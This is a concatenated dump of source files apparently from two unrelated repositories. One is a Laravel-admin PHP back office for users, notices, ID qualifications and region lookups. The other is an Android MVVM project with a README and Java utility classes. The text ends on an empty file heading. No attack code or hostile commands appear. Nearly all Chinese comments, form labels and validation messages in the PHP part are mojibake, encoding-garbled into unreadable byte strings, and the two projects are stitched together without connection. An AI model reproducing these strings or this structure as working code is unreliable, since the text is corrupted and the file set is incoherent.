$grid->created_at('Created at');
$grid->updated_at('Updated at');
return $grid;
}
/**
* ่ฏฆๆ
้กต้ขๆงๅถ
* @param Show $show
* @author zx
* @date 2018-12-29
* @return Show
*/
public function detail(Show $show)
{
$show->id('ID');
$show->nickname('ๆต็งฐ');
$show->mobile('ๆๆบๅท');
$show->realname('ๅงๅ');
$show->id_card('่บซไปฝ่ฏๅท็ ');
$show->sex('ๆงๅซ')->using(self::SEX_ARR);
$show->email('้ฎ็ฎฑ');
$show->member_type('็ฑปๅ')->using(self::MEMBER_TYPE_ARR);
$show->created_at('Created at');
$show->updated_at('Updated at');
return $show;
}
private function nickname_rules()
{
return "required|min:2|max:10";
}
private function nickname_rules_message()
{
return [
'required' => 'ๆต็งฐๅฟ
้กป',
'min' => 'ๆต็งฐไธๅพๅฐไบไธคไธชๅญ็ฌฆ',
'max' => 'ๆต็งฐไธๅพๅคงไบๅไธชๅญ็ฌฆ'
];
}
private function mobile_rules($id='')
{
return [
"regex:/^1[3456789]\d{9}$/",
"required_without_all:email",
Rule::unique("users", 'mobile')->ignore($id)
];
}
private function mobile_rules_message()
{
return [
'required_without_all' => 'ๆๆบๅทๆ้ฎ็ฎฑๅฟ
้กป',
'regex' => 'ๆๆบๅท็ ไธๅๆณ',
"unique" => "ๆๆบๅท็ ๅทฒๅญๅจ"
];
}
private function password_rules($id='')
{
if($id){
return "nullable|between:6,18|alpha_dash";
}
return "required|between:6,18|alpha_dash";
}
private function password_rules_message($id='')
{
$rulesArr = [
"between" => "ๅฏ็ ไธๅฐไบ6ไธชๅญ็ฌฆไธไธ่ถ
่ฟ18ไฝๅญ็ฌฆ",
"alpha_dash" => "ๅฏ็ ๅช่ฝๆๆฐๅญๅญๆฏไธๅ็บฟ"
];
if($id) return $rulesArr;
$rulesArr['required'] = "่ฏท่พๅ
ฅๅฏ็ ";
return $rulesArr;
}
private function realname_rules()
{
return "min:2";
}
private function realname_rules_message()
{
return [
"min" => "ๅงๅไธๅพๅฐไบไธคไธชๅญ็ฌฆ",
];
}
private function id_card_rules()
{
return [
"regex:/^([\d]{17}[xX\d]|[\d]{15})$/",
];
}
private function id_card_rules_message()
{
return [
"regex" => '่บซไปฝ่ฏๅท็ ๆ ผๅผ้่ฏฏ'
];
}
private function sex_rules()
{
return [
Rule::in([0,1])
];
}
private function sex_rules_message()
{
return [
"in" => 'ๆงๅซ่ๅด้่ฏฏ'
];
}
private function email_rules($id='')
{
return [
"email",
"required_without_all:mobile",
Rule::unique("users",'email')->ignore($id)
];
}
private function email_rules_message()
{
return [
"email" => '้ฎ็ฎฑๆ ผๅผ้่ฏฏ',
"required_without_all" => 'ๆๆบๅท็ ๆ้ฎ็ฎฑๅฟ
้กป',
"unique" => '้ฎ็ฎฑๅทฒๅญๅจ'
];
}
private function member_type_rules()
{
return [
"required",
Rule::in([0,1])
];
}
private function member_type_rules_message()
{
return [
"required" => "็จๆท็ฑปๅๅฟ
้กป",
"in" => "็จๆท็ฑปๅ่ๅด้่ฏฏ"
];
}
}```
MessageTrait.php
```<?php
namespace App\Models\Traits;
use App\Models\Users;
/**
* ๆจกๅ้ๆฑTrait็ฑป
* @author zx
* @date 2018-12-23
* @package App\Models\Trait
*/
Trait MessageTrait{
public function users()
{
return $this->belongsTo(Users::class, "release_user");
}
}```
FindNotice.php
```<?php
namespace App\Models;
use App\Models\Traits\FindNoticeTrait;
class FindNotice extends Models{
use FindNoticeTrait;
/**
* ๅ
ณ่ๅฐๆจกๅ็ๆฐๆฎ่กจ
* ้ป่ฎค่งๅๆฏๆจกๅ็ฑปๅ็ๅคๆฐไฝไธบไธๅ
ถๅฏนๅบ็่กจๅ
* @var string
* @author ๆฑๆญ
*/
protected $table = 'find_notice';
/**
* ่ฎพ็ฝฎไธป้ฎ
* @author ๆฑๆญ
* @var string
*/
public $primaryKey = 'id';
}```
UsersTrait.php
```<?php
namespace App\Models\Traits;
use App\Models\Qualification;
use App\Models\FindNotice;
use App\Models\Message;
/**
* ๆจกๅTrait็ฑป
* @author zx
* @date 2018-12-23
* @package App\Models\Trait
*/
Trait UsersTrait{
public function qualification()
{
return $this->hasOne(Qualification::class, "user_id");
}
public function findnotice()
{
return $this->hasOne(FindNotice::class, "release_user");
}
public function message()
{
return $this->hasMany(Message::class, "uid");
}
}```
FindNoticeController.php
```<?php
namespace App\Admin\Controllers;
use App\Http\Service\FindNoticeService;
use App\Models\FindNotice;
use App\Http\Controllers\Controller;
use Encore\Admin\Controllers\HasResourceActions;
use Encore\Admin\Form;
use Encore\Admin\Grid;
use Encore\Admin\Layout\Content;
use Encore\Admin\Show;
class FindNoticeController extends Controller
{
use HasResourceActions;
/**
* Index interface.
*
* @param Content $content
* @return Content
*/
public function index(Content $content)
{
return $content
->header('ๅ่กจ')
->description('้็ฅๅ่กจ')
->body($this->grid());
}
/**
* Show interface.
*
* @param mixed $id
* @param Content $content
* @return Content
*/
public function show($id, Content $content)
{
return $content
->header('่ฏฆๆ
')
->description('้็ฅ่ฏฆๆ
')
->body($this->detail($id));
}
/**
* Edit interface.
*
* @param mixed $id
* @param Content $content
* @return Content
*/
public function edit($id, Content $content)
{
return $content
->header('็ผ่พ')
->description('้็ฅ็ผ่พ')
->body($this->form()->edit($id));
}
/**
* Create interface.
*
* @param Content $content
* @return Content
*/
public function create(Content $content)
{
return $content
->header('ๆทปๅ ')
->description('้็ฅๆทปๅ ')
->body($this->form());
}
/**
* Make a grid builder.
*
* @return Grid
*/
protected function grid()
{
$grid = new Grid(new FindNotice);
$service = new FindNoticeService();
return $service->grid($grid);
}
/**
* Make a show builder.
*
* @param mixed $id
* @return Show
*/
protected function detail($id)
{
$service = new FindNoticeService();
return $service->detail($id);
}
/**
* Make a form builder.
*
* @return Form
*/
protected function form()
{
$service = new FindNoticeService();
return $service->form();
}
}
```
FindNoticeService.php
```<?php
namespace App\Http\Service;
use Encore\Admin\Form;
use Encore\Admin\Grid;
use Encore\Admin\Show;
use Encore\Admin\Facades\Admin;
use Encore\Admin\Form\NestedForm;
use Illuminate\Validation\Rule;
use App\Models\FindNotice;
use App\Models\Area;
class FindNoticeService extends CommonService {
/**
* ๅฐ้ข็ฑปๅ
* @var array
*/
const COVER_ARR = [
'on' => ['value' => 1, 'text' => 'ๅฐ้ข', 'color'=>'danger'],
'off' => ['value' => 0, 'text' => '้ๅฐ้ข', 'color' => 'success']
];
/**
* ๆงๅซๅบๅ
* @var array
*/
const SEX_ARR = ["็ท", 'ๅฅณ'];
/**
* ๅฎกๆ ธ็ถๆ
* @var array
*/
const STATUS_ARR = ["ๅฎกๆ ธไธญ", "ๅฎกๆ ธ้่ฟ", "ๅฎกๆ ธไธ้่ฟ"];
/**
* ่กจๅ้กต้ขๆงๅถ
* @author zx
* @date 2018-12-29
* @return Form
*/
public function form()
{
$grid = Admin::form(FindNotice::class, function(Form $form){
$model = new Area();
$form->display("users.id", "ๅๅธไบบID");
$form->display("users.nickname", "ๅๅธไบบๆต็งฐ");
$form->hasMany("findimages", function (NestedForm $nestedForm){
$nestedForm->image("url",'ๅนป็ฏ็')->uniqueName();
$nestedForm->switch("cover", "ๆฏๅฆไธบๅฐ้ข")->options(self::COVER_ARR)->rules(
$this->findimages_cover_rules(),
$this->findimages_cover_rules_message()
);
$nestedForm->number("index", "ๆๅบ")->default(1)->rules(
$this->findimages_index_rules(),
$this->findimages_index_rules_message()
);
return $nestedForm;
});
$form->select('province', '็ไปฝ')->options($model->getProvinceList())->load("city", "/admin/api/area")->rules(
$this->province_rules(),
$this->province_rules_message()
);
$form->select('city', 'ๅๅธ')->options(function($id)use($model){
return $model->getSameLevelCityList($id);
})->rules(
$this->city_rules(),
$this->city_rules_message()
);
$form->text('title', 'ๆ ้ข')->rules(
$this->title_rules(),
$this->title_rules_message()
);
$form->text('name', 'ๅงๅ')->rules(
$this->name_rules(),
$this->name_rules_message()
);
$form->select('sex', 'ๆงๅซ')->options(self::SEX_ARR)->rules(
$this->sex_rules(),
$this->sex_rules_message()
);
$form->number('age', 'ๅนด้พ')->rules(
$this->age_rules(),
$this->age_rules_message()
);
$form->editor('desc', '่ฏฆๆ
')->rules(
$this->desc_rules(),
$this->desc_rules_message()
);
$form->text('contact_name', '่็ณปไบบๅงๅ')->rules(
$this->contact_name_rules(),
$this->contact_name_rules_message()
);
$form->text('contact_mobile', '่็ณปไบบๆๆบๅท็ ')->rules(
$this->contact_mobile_rules(),
$this->contact_mobile_rules_message()
);
$form->radio('status', 'Status')->options(self::STATUS_ARR)->rules(
$this->status_rules(),
$this->status_rules_message()
);
$form->switch('is_delete', 'Is delete')->states(parent::IS_DELETE_RULES_ARR)->rules(
parent::is_delete_rules(),
parent::IS_DELETE_MESSAGE
);
});
return $grid;
}
/**
* ๅ่กจ้กต้ขๆงๅถ
* @param Grid $grid
* @author zx
* @date 2018-12-29
* @return Grid
*/
public function grid(Grid $grid)
{
$grid->id('ID');
$grid->column('users.nickname', 'ๅๅธ่
ๆต็งฐ');
$grid->province('็ไปฝ');
$grid->city('ๅๅธ');
$grid->column('title','ๆ ้ข'); //titleๆนๆณๅฒ็ช
$grid->name('ๅงๅ');
$grid->sex('ๆงๅซ')->display(function($sex){
return self::SEX_ARR[$sex];
});
$grid->age('ๅนด้พ')->display(function ($age){
return $age."ๅฒ";
});
$grid->contact_name('่็ณปไบบๅงๅ');
$grid->contact_mobile('่็ณปไบบ็ต่ฏ');
$grid->created_at('Created at');
$grid->updated_at('Updated at');
return $grid;
}
/**
* ่ฏฆๆ
้กต้ขๆงๅถ
* @param Show $show
* @author zx
* @date 2018-12-29
* @return Show
*/
public function detail($id)
{
$shows = Admin::show(FindNotice::findOrFail($id), function(Show $show){
$model = new Area();
$show->id('ID');
$show->users('ๅๅธไบบไฟกๆฏ',function($user){
$user->id("ID");
$user->nickname("ๆต็งฐ");
return $user;
});
$show->province('็ไปฝ')->as(function($province)use($model){
return $model->getAddressData($province)->name;
});
$show->city('ๅๅธ')->as(function($city)use($model){
return $model->getAddressData($city)->name;
});
$show->title('ๆ ้ข');
$show->name('ๅงๅ');
$show->sex('ๆงๅซ')->using(self::SEX_ARR);
$show->age('ๅนด้พ');
$show->desc('่ฏฆๆ
');
$show->contact_name('่็ณปไบบๅงๅ');
$show->contact_mobile('่็ณป็ต่ฏ');
$show->created_at('Created at');
$show->updated_at('Updated at');
});
return $shows;
}
private function findimages_cover_rules()
{
return [
Rule::in("on", "off")
];
}
private function findimages_cover_rules_message()
{
return [
"in" => "ๅฐ้ข้ๆฉ่ๅด้่ฏฏ",
];
}
private function findimages_index_rules()
{
return "numeric";
}
private function findimages_index_rules_message()
{
return [
"numeric" => "ๆๅบๅฟ
้กปไธบๆฐๅญ"
];
}
private function province_rules()
{
return "required|numeric";
}
private function province_rules_message()
{
return [
"required" => "็ไปฝๅฟ
้กป",
"numeric" => '็ไปฝๆ ผๅผ้่ฏฏ'
];
}
private function city_rules()
{
return "required|numeric";
}
private function city_rules_message()
{
return [
"required" => "ๅๅธๅฟ
้กป",
"numeric" => "ๅๅธๆ ผๅผ้่ฏฏ"
];
}
private function title_rules()
{
return "required";
}
private function title_rules_message()
{
return [
"required" => "ๆ ้ขๅฟ
้กป"
];
}
private function name_rules()
{
return "required|min:2";
}
private function name_rules_message()
{
return [
"required" => "ๅงๅๅฟ
้กป",
"min" => "ๅงๅไธๅฏๅฐไบไธคไธชๅญ็ฌฆ"
];
}
private function sex_rules()
{
return [
Rule::in([0,1])
];
}
private function sex_rules_message()
{
return [
"in" => "ๆงๅซ่ๅด้่ฏฏ"
];
}
private function age_rules()
{
return "numeric";
}
private function age_rules_message()
{
return [
"numeric" => "ๅนด้พๅฟ
้กปๆฏๆฐๅญ"
];
}
private function desc_rules()
{
return "required";
}
private function desc_rules_message()
{
return [
"required" => "่ฏฆๆ
ๅฟ
้กป"
];
}
private function contact_name_rules()
{
return "min:2";
}
private function contact_name_rules_message()
{
return [
"min" => "่็ณปไบบๅงๅไธๅพๅฐไบไธคไฝๅญ็ฌฆ"
];
}
private function contact_mobile_rules()
{
return [
"required",
"regex:/^1[3456789]\d{9}$/",
];
}
private function contact_mobile_rules_message()
{
return [
"required" => "่็ณปไบบๆๆบๅท็ ๅฟ
้กป",
"regex" => "่็ณปไบบๆๆบๅท็ ๆ ผๅผ้่ฏฏ"
];
}
private function status_rules()
{
return [
Rule::in([0,1,2])
];
}
private function status_rules_message()
{
return [
"in" => "ๅฎกๆ ธ็ถๆ่ๅด้่ฏฏ"
];
}
}```
routes.php
```<?php
use Illuminate\Routing\Router;
Admin::registerAuthRoutes();
Route::group([
'prefix' => config('admin.route.prefix'),
'namespace' => config('admin.route.namespace'),
'middleware' => config('admin.route.middleware'),
], function (Router $router) {
$router->get('/', 'HomeController@index');
$router->resource('users', UserController::class);
$router->resource('findnotice', FindNoticeController::class);
$router->resource('qualification', QualifiedController::class);
$router->resource('message', MessageController::class);
$router->group([
"prefix" => config("admin.route.api.prefix"),
"namespace" => config("admin.route.api.namespace")
], function (Router $router) {
$router->get("area", "AreaController@index");
$router->any("uploads", "UploadsController@index");
});
});```
Qualification.php
```<?php
namespace App\Models;
use App\Models\Traits\QualificationTrait;
class Qualification extends Models{
use QualificationTrait;
/**
* ๅ
ณ่ๅฐๆจกๅ็ๆฐๆฎ่กจ
* ้ป่ฎค่งๅๆฏๆจกๅ็ฑปๅ็ๅคๆฐไฝไธบไธๅ
ถๅฏนๅบ็่กจๅ
* @var string
* @author ๆฑๆญ
*/
protected $table = 'qualification';
/**
* ่ฎพ็ฝฎไธป้ฎ
* @author ๆฑๆญ
* @var string
*/
public $primaryKey = 'id';
}```
UploadController.php
```<?php
/**
* Created by PhpStorm.
* User: YZ
* Date: 2018/11/19
* Time: 16:56
*/
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class UploadController
{
public function uploadPage(){
return view('upload.file');
}
public function fileUpload(Request $request){
if($request->hasFile('picture')){
$pic = $request->file('picture');
if(!$pic->isValid()){
abort(400,'ๆ ๆ็ๆไปถ');
}
//่ทๅๆฉๅฑๅ
$ext = $pic->getClientOriginalExtension();
//่ทๅๆไปถๅ
$fileName = $pic->getClientOriginalName();
//ไฟๅญๆไปถๅ
$newFileName = md5($fileName.time().rand(1,10000)).'.'.$ext;
//ไฟๅญ่ทฏๅพ
$path = '/storage/images/'.$newFileName;
}
}
}```
AreaController.php
```<?php
namespace App\Admin\Controllers\Api;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\Area;
class AreaController extends Controller{
public function index(Request $request, Area $area)
{
$this->validate($request, [
"q" => "numeric"
],[
"q.numeric" => "้่ฏฏ็ๅๆฐ็ฑปๅ"
]);
$id = $request->get("q", 0);
$res = $area->getAreaList($id);
$result[0] = [
"id" => 0,
"text" => '่ฏท้ๆฉ'
];
if($id && count($res)>0) {
$res = $res->toArray();
foreach($res as $key => $val){
$result[$key+1] = $val;
}
}
return $result;
}
}```
Users.php
```<?php
namespace App\Models;
use App\Models\Traits\UsersTrait;
class Users extends Models
{
use UsersTrait;
/**
* ๅ
ณ่ๅฐๆจกๅ็ๆฐๆฎ่กจ
* ้ป่ฎค่งๅๆฏๆจกๅ็ฑปๅ็ๅคๆฐไฝไธบไธๅ
ถๅฏนๅบ็่กจๅ
* @var string
* @author ๆฑๆญ
*/
protected $table = 'users';
/**
* ่ฎพ็ฝฎไธป้ฎ
* @author ๆฑๆญ
* @var string
*/
public $primaryKey = 'id';
/**
* ่กจๅๆจกๅๆฏๅฆๅบ่ฏฅ่ขซๆไธๆถ้ดๆณ
* @var bool
* @author ๆฑๆญ
*/
// public $timestamps = false;
/**
* ๆจกๅๆฅๆๅ็ๅญๅจๆ ผๅผ
* @author ๆฑๆญ
* @var string
*/
// protected $dateFormat = 'U';
/**
* ้ฟๅ
่ฝฌๆขๆถ้ดๆณไธบๆถ้ดๅญ็ฌฆไธฒ
* @param dateTime $value int
* @return dateTime int
*/
// public function fromDateTime($value){
// return strtotime(parent::fromDateTime($value));
// }
//่ชๅฎไน็จไบๅญๅจๆถ้ดๆณ็ๅญๆฎตๅ็งฐ,ๅฏไปฅๅจๆจกๅไธญ่ฎพ็ฝฎCREATED_AT ๅ UPDATED_AT ๅธธ้
//const CREATED_AT = 'regtime';
//const UPDATED_AT = '';
/**
* ไปๆฐๆฎๅบ่ทๅ็ๆถ้ดไธบๆถ้ดๆณๆ ผๅผ
* @return string
*/
// public function getDateFormat()
// {
// return 'U';
// }
/**
* ๆน้่ตๅผ้ปๅๅ
* @var array
*/
protected $guarded = [];
/**
* ๆน้่ตๅผ็ฝๅๅ
* @var array
*/
protected $fillable = [];
}```
Models.php
```<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
/**
* ๆฐๆฎๆจกๅๅบ็ฑป
* @author zx
* @date 2018-12-23
* @package App\Models
*/
class Models extends Model{
}```
system.php
```<?php
return [
/*
|--------------------------------------------------------------------------
| SYSTEM CONFIG FILE
|--------------------------------------------------------------------------
|
| This file stores the system configuration file
|
*/
'cdn' => env("SYSTEM_CDN"),
'prefix' => env("SYSTEM_PREFIX"),
];
```
TestQueueController.php
```<?php
/**
* Created by PhpStorm.
* User: YZ
* Date: 2018/11/22
* Time: 16:35
*/
namespace App\Http\Controllers;
use App\Jobs\Demo;
class TestQueueController
{
public function sendQueue(){
$user = new \stdClass();
$user->id = rand(1,100);
dispatch(new Demo($user))->onQueue('demo');
}
}```
FindNoticeTrait.php
```<?php
namespace App\Models\Traits;
use App\Models\Users;
use App\Models\FindImages;
/**
* ๆจกๅ้ๆฑTrait็ฑป
* @author zx
* @date 2018-12-23
* @package App\Models\Trait
*/
Trait FindNoticeTrait{
public function users()
{
return $this->belongsTo(Users::class, "release_user");
}
public function findimages()
{
return $this->hasMany(FindImages::class, "out_id");
}
}```
AreaTrait.php
```<?php
namespace App\Models\Traits;
Trait AreaTrait{
/**
* ๆ นๆฎ็ถ็บงID่ทๅๅๅธๅ่กจ
* @author zx
* @date 2018-12-26
* @return Model|Object
*/
public function getAreaList(int $pid=0)
{
$model = self::select("id", "name AS text");
if ($pid){
$model = $model->where("upid",$pid);
} else {
$model = $model->where("level", 1);
}
$model = $model->get();
return $model;
}
/**
* ่ทๅ็ๅ่กจ
* @author zx
* @date 2018-12-26
* @return array
*/
public function getProvinceList():array
{
$list = $this->getAreaList();
$res[0] = "่ฏท้ๆฉ";
foreach($list as $key => $val){
$res[$val->id] = $val->text;
}
return $res;
}
/**
* ่ทๅๅ็บงๅๅธๅ่กจ
* @author zx
* @date 2018-12-26
* @return array
*/
public function getSameLevelCityList($id)
{
$upid = self::select("upid")
->where("id", $id)
->first();
$list = [];
if ($upid) $list = self::where("upid", $upid->upid)
->pluck("name AS text", 'id');
return $list;
}
/**
* ๆ นๆฎๅฐๅบid่ทๅไฟกๆฏ
* @author zx
* @date 2018-12-26
* @return Model|Object
*/
public function getAddressData($id)
{
$data = self::select("id","name","level")
->where("id", $id)
->first();
return $data;
}
}```
FindImages.php
```<?php
namespace App\Models;
use App\Models\Traits\FindImagesTrait;
class FindImages extends Models{
use FindImagesTrait;
/**
* ๅ
ณ่ๅฐๆจกๅ็ๆฐๆฎ่กจ
* ้ป่ฎค่งๅๆฏๆจกๅ็ฑปๅ็ๅคๆฐไฝไธบไธๅ
ถๅฏนๅบ็่กจๅ
* @var string
* @author ๆฑๆญ
*/
protected $table = 'find_images';
/**
* ่ฎพ็ฝฎไธป้ฎ
* @author ๆฑๆญ
* @var string
*/
public $primaryKey = 'id';
/**
* ๆน้่ตๅผ็ฝๅๅ
* @var array
*/
protected $fillable = [ "url" , "index" , "out_id" , "cover" ];
/**
* ๅฎไนupdated_at,็จไบๅฟฝ็ฅupdated_atๅญๆฎต
* @var null
*/
const UPDATED_AT = null;
}```
FindImagesTrait.php
```<?php
namespace App\Models\Traits;
use App\Models\FindNotice;
/**
* ๆจกๅ้ๆฑTrait็ฑป
* @author zx
* @date 2018-12-23
* @package App\Models\Trait
*/
Trait FindImagesTrait{
public function findnotice()
{
return $this->belongsTo(FindNotice::class, "out_id");
}
}```
QualifiedService.php
```<?php
namespace App\Http\Service;
use Encore\Admin\Form;
use Encore\Admin\Grid;
use Encore\Admin\Show;
use Encore\Admin\Facades\Admin;
use Illuminate\Validation\Rule;
use App\Models\Qualification;
/**
* ็จๆท่ฎค่ฏๆๅกๅฑ
* @author zx
* @date 2018-12-29
* @package App\Http\Service
*/
class QualifiedService extends CommonService {
/**
* ็ถๆๅบๅ
* @var array
*/
const STATUS_ARR = ["ๆชๅฎกๆ ธ", "ๅฎกๆ ธ้่ฟ", "ๅฎกๆ ธๆช้่ฟ"];
/**
* ่กจๅ้กต้ขๆงๅถ
* @author zx
* @date 2018-12-29
* @return Form
*/
public function form()
{
$gird = Admin::form(Qualification::class, function(Form $form){
$form->display("users.id", "็จๆทID");
$form->display("users.nickname", "็จๆทๆต็งฐ");
$form->text('realname', '็ๅฎๅงๅ')->rules(
$this->realname_rules(),
$this->realname_rules_message()
);
$form->text('id_card', '่บซไปฝ่ฏๅท็ ')->rules(
$this->id_card_rules(),
$this->id_card_rules_message()
);
$form->image("card_image")->uniqueName();
$form->radio('status', 'Status')->options(self::STATUS_ARR)->rules(
$this->status_rules(),
$this->status_rules_message()
);
$form->switch('is_delete', 'Is delete')->states(parent::IS_DELETE_RULES_ARR)->rules(
parent::is_delete_rules(),
parent::IS_DELETE_MESSAGE
);
return $form;
});
return $gird;
}
/**
* ๅ่กจ้กต้ขๆงๅถ
* @param Grid $grid
* @author zx
* @date 2018-12-29
* @return Grid
*/
public function grid(Grid $grid)
{
$grid->id('Id');
$grid->column('users.nickname', "่ฎค่ฏไบบๆต็งฐ");
$grid->realname('็ๅฎๅงๅ');
$grid->id_card('่บซไปฝ่ฏๅท็ ');
$grid->card_image('่ฎค่ฏๅพ็')->image(config("filesystems.disks.qiniu.url"),50,50);
$grid->status('Status')->display(function($status){
return self::STATUS_ARR[$status];
});
$grid->is_delete('Is delete')->display(function($is_delete){
return self::IS_DELETE_ARR[$is_delete];
});
$grid->created_at('Created at');
$grid->updated_at('Updated at');
return $grid;
}
/**
* ่ฏฆๆ
้กต้ขๆงๅถ
* @param Show $show
* @author zx
* @date 2018-12-29
* @return Show
*/
public function detail(Show $show)
{
$show->id('Id');
$show->users('่ฎค่ฏไบบไฟกๆฏ', function($users){
$users->id("็จๆทID");
$users->nickname("็จๆทๆต็งฐ");
return $users;
});
$show->realname('็ๆฏๅงๅ');
$show->id_card('่บซไปฝ่ฏๅท็ ');
$show->card_image('่ฎค่ฏๅพ็')->image();
$show->created_at('Created at');
$show->updated_at('Updated at');
return $show;
}
private function realname_rules()
{
return "required|min:2";
}
private function realname_rules_message()
{
return [
"required" => "่ฏท่พๅ
ฅ",
"min" => "ไธๅฏๅฐไบไธคไธชๅญ็ฌฆ"
];
}
private function id_card_rules()
{
return [
"required",
"regex:/^([\d]{17}[xX\d]|[\d]{15})$/"
];
}
private function id_card_rules_message()
{
return [
"required" => "่ฏท่พๅ
ฅ",
"regex" => "ๆ ผๅผๆ่ฏฏ"
];
}
private function status_rules()
{
return [
"required",
Rule::in([0,1,2])
];
}
private function status_rules_message()
{
return [
"required" => "่ฏท้ๆฉ",
"in" => "่ๅดๆ่ฏฏ"
];
}
}```
|
yuzhijun/MarsArchitecture
|
yuzhijun/MarsArchitecture
README.md
```# MarsArchitecture
ๅฉ็จ่ฐทๆญๆๆฐ็็ปไปถๅๆกๆถๆ้ ่ชๅทฑ็mvvmๆกๆถ๏ผ่ฏฆ็ปไฝฟ็จๆนๆณๅพ
ๆ็ฉบ็ผๅ๏ผๅฆๆ้่ฆ่ฏท่็ณปๆ๏ผ
`
`
.';|%|||||%%%$$%%|;'. `
.`':!%$$&&&&@##@@@@@@@@@@@@@@$|;'. `
.`;%$$&&$$$&&@##################@@@&|:. `
.:|&@@@@&&&&@@@@@@@@@@@@@@@&&@@@#@#####@&|:. `
`;$@#@&&&@@@@@@@@########@@@@@@@@@&@##@@####@$!` `
.;$#####@##@@@@@##@@@##@@@###@@@@&&&&&@@@@@@####@$|` `
.:$################@@@@@@&@@&@@@@##@@&&&&&@###@@#####&|` `
.:$################@##@@#######@@@@&@@#@@&&&&@@#########@&; `
.'%@####################@@########@####@@@@@&&&@@###########@|` `
.`!&###@@##########@#################@@####@@&@@&&@##@@@########&: `
`;$####@&@########@@@##################@@@#####@&@@@###@@@@########! `
.:%@@####@##########&&@########@##########@@@@#####@@@####@@##########$` `
`!$@@@@@@############&&@######@@@##########@@@@@######@@#####@@#######@$%; `
'|$&&@&@#############@@@@######@&@#######@###@@@@@#############@@########$:. .`. `
.:%|!$&&@##############@@@@#@@###@&@#@@#####@#####@@@####@@########@@######@$%:. `
.!%;`!&&@###############@@@@@&&##@@@@@@@#############@@@###@#########@@######&: .'''. `
`!|` '%&@###########@######@@@@&@#@#@@#@@###############@@##@@#########@######@|. `
`!;. `!$@@#######@##@@###@@##@@@@&@@@####@#################@##@&##############@&%;. `
`!;. .:$@@##############@@@@####@@@@@@######################@##@@############@@@$|!` `
.;;. '%&@@@#############@#&&#####@@#@#############@@####@####@##@############@@&%!;'. `
'!' `!&@@@###############$:'%&&##########@#####@@#@@@#####@##################@@&|;:'. `
.;;. :%&@#@############@#$;` `!&&@@########@@&@@&&@#@@@######@################@@@%;:` `
.::. `!&@##@#@##########@@$|$&@&$!!%$#####@@@@@&@&!!&&%$#######################@@#$;'. `
.':`.'%@##@@@@##############@@#####@|:!&@@#$!$&$$$|;!|';&@@###@################@@@&;`. `
`:'`:$@@@@##@######@@###@!`|&@###@&|` .'!&&;'%%||'``.``;%&@@@@################@@@$;. `
`'';$@@@@##@######@@@##@$:`!%$&&@! '|%!||::'. .`:|&$$@####@@###########@&&$: `
.'!&@@&@#########@@@@@#@!';%$$|` .''` `::`:|:`...`:|&@@######@@###########&%%|' `
.`;$@@&@####@@####@####@@%' .'. `. '::;$@#####@##########@&!;|!` `
.`;$@&$@#####@##########&%|: .. ';!&###############@&|`'!:. `
.`:%@#$$@###@&&##########@!. . `%############@##&%|' `:` `
.`:$@&%&##@&%%&##@########! '%@#######@@@@####$;' `` `
.. '%&$&@#&$!;%@##&&#######%` `%####@@####@@####%`. . `
`!!|&#@%;';$@@@||########$` .... `%@#####@######@%%@$' `
.!@&;..!&@$!|%&#@#######%` ;&@@@#####@@###&;`'!%: `
:$%: !@@&: .|@#$$########|` :$##@&&&@####&|%%|!. .'` `
`|%:. '$@&!..:$&&@#@########@%%&####@$%|!:|####&; `':'. `
':. :||:..;$@#%%#####@@@#####@$!'. !&|;|%%! `
.!$&|!$&&&$%$###@&!` '|' .::`'` `
.:` :|;':'. :&@#&;. `;` `:` `
.. '' .|#@%` `;' ;; `
:: :&##&|` ;&@&!` `
`%&$: '|&@!. !@#####&!` `
.:|&###@!. `%#@&: !###########%'. `
:$#@@#####%` ;@##@! !@##############$;` `
'%###########&: `$@&@#%` !@##################@|` `
`!&############@@! ;&|'|@&: ;@######################$:. `
.`;&#############&&##%`:$$:.:$@! :&##################@&&&@###%' `
'|$$!!$@@########@$&###&!$#%` .!@%' '$@#@@#############%:'`...`'::|&|' `
...`';!$@######@####&$@@! ;&@; '$@&&@############%' . `
`
`
`
```
IRequest.java
```package com.winning.marsarchitecture.viewmodel;
import android.arch.lifecycle.LiveData;
/**
* Created by yuzhijun on 2018/4/13.
*/
public interface IRequest<T> {
LiveData<T> getLiveObservableData(String url,String...params);
}
```
CommUtil.java
```package com.winning.marsarchitecture.util;
import android.content.Context;
/**
* Created by yuzhijun on 2018/4/12.
*/
public class CommUtil {
public static String getString(Context context, int id) {
return context.getString(id);
}
}
```
GsonHelper.java
```package com.winning.marsarchitecture.util;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import com.google.gson.JsonDeserializationContext;
import com.google.gson.JsonDeserializer;
import com.google.gson.JsonElement;
import com.google.gson.JsonParseException;
import com.google.gson.JsonSyntaxException;
import java.lang.reflect.Type;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.Locale;
import java.util.TimeZone;
public class GsonHelper {
private static Gson mGson;
private static GsonHelper mInstance;
private static final SimpleDateFormat JSON_STRING_DATE = new SimpleDateFormat("yyy-MM-dd", Locale.CHINA);
private static final TimeZone TIME_ZONE = TimeZone.getTimeZone("GMT-8:00");
private static final long SECOND_IN_MILLISECONDS = 1000L;
private GsonHelper(){
}
public static GsonHelper getIntance(){
if (null == mInstance){
synchronized (GsonHelper.class){
if (null == mInstance){
mGson = GsonHelper.gsonBuilder();
mInstance = new GsonHelper();
}
}
}
return mInstance;
}
public static Gson gsonBuilder() {
GsonBuilder builder = new GsonBuilder();
builder.registerTypeAdapter(Integer.class, new JsonDeserializer() {
@Override
public Integer deserialize(JsonElement json, Type typeOfT, JsonDeserializationContext context) throws JsonParseException {
try {
return json.getAsInt();
} catch (NumberFormatException e) {
e.printStackTrace();
}
return null;
}
});
builder.registerTypeAdapter(Date.class, new JsonDeserializer() {
@Override
public Date deserialize(JsonElement json, Type typeOfT, JsonDeserializationContext context) throws JsonParseException {
try {
long outer = json.getAsLong();
Calendar calendar = Calendar.getInstance(TIME_ZONE);
calendar.setTimeInMillis(outer * SECOND_IN_MILLISECONDS);
return calendar.getTime();
} catch (NumberFormatException e) {
try {
return JSON_STRING_DATE.parse(json.getAsString());
} catch (ParseException e1) {
throw new JsonParseException(e1);
}
}
}
});
return builder.create();
}
public <T> T str2JsonBean(String json, Class<T> clazz) {
T bean = null;
if (null != mGson) {
try {
bean = mGson.fromJson(json, clazz);
} catch (JsonSyntaxException e) {
e.printStackTrace();
}
}
return bean;
}
}
```
ResponseErrorProxy.java
